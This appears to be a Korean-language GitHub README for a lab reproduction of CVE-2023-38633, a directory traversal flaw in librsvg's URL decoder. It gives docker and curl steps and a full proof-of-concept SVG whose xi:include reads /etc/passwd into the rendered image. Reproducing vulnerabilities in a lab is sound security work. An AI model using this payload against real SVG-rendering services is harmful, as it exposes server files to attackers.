Skip to content

Latest commit

Β 

History

History
51 lines (35 loc) Β· 1.47 KB

File metadata and controls

51 lines (35 loc) Β· 1.47 KB

CVE-2023-38633

Contributors


μš”μ•½

  • LibrsvgλŠ” GNOME ν”„λ‘œμ νŠΈμ˜ μΌλΆ€λ‘œ μž‘μ„±λœ 무료 μ†Œν”„νŠΈμ›¨μ–΄ SVG λ Œλ”λ§ 라이브러리둜, 가볍고 이식성이 뛰어남.
  • 2.56.3 μ΄μ „μ˜ librsvg의 URL λ””μ½”λ”μ—μ„œ Directory Traversal λ¬Έμ œλŠ” 둜컬 λ˜λŠ” 원격 κ³΅κ²©μžκ°€ 파일(μ˜ˆμƒ μ˜μ—­ λ°–μ˜ 둜컬 파일 μ‹œμŠ€ν…œμ— μžˆλŠ”)을 λ…ΈμΆœν•˜λŠ” 데 μ‚¬μš©λ  수 있음.
  • xi:include μš”μ†Œμ—μ„œ href=".?../../../../../../../../../../etc/passwd"와 같은 λ°©μ‹μœΌλ‘œ μ‚¬μš©λ  수 있음.

ν™˜κ²½ ꡬ성 및 μ‹€ν–‰

  • λ‹€μŒ λͺ…령을 μ‹€ν–‰ν•˜μ—¬ ν…ŒμŠ€νŠΈ ν™˜κ²½μ„ μ‹€ν–‰ν•œλ‹€.
docker compose up -d
  • http://your-ip:8080/에 μ ‘μ†ν•˜μ—¬ μ—…λ‘œλ“œ νŽ˜μ΄μ§€μ—μ„œ poc.svgλ₯Ό μ—…λ‘œλ“œν•˜κ±°λ‚˜, curl둜 직접 전솑할 수 μžˆλ‹€.
curl -F "file_upload=@poc.svg" http://your-ip:8080/
  • 응닡에 ν¬ν•¨λœ PNG 이미지λ₯Ό μ—΄λ©΄ /etc/passwd λ‚΄μš©μ΄ λ Œλ”λ§λœ 것을 확인할 수 μžˆλ‹€.

poc.svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude">
  <rect width="300" height="300" style="fill:rgb(255,255,255);" />
  <text x="10" y="100">
    <xi:include href=".?../../../../../../../../../../etc/passwd" parse="text" encoding="UTF-8">
      <xi:fallback>file not found</xi:fallback>
    </xi:include>
  </text>
</svg>

κ²°κ³Ό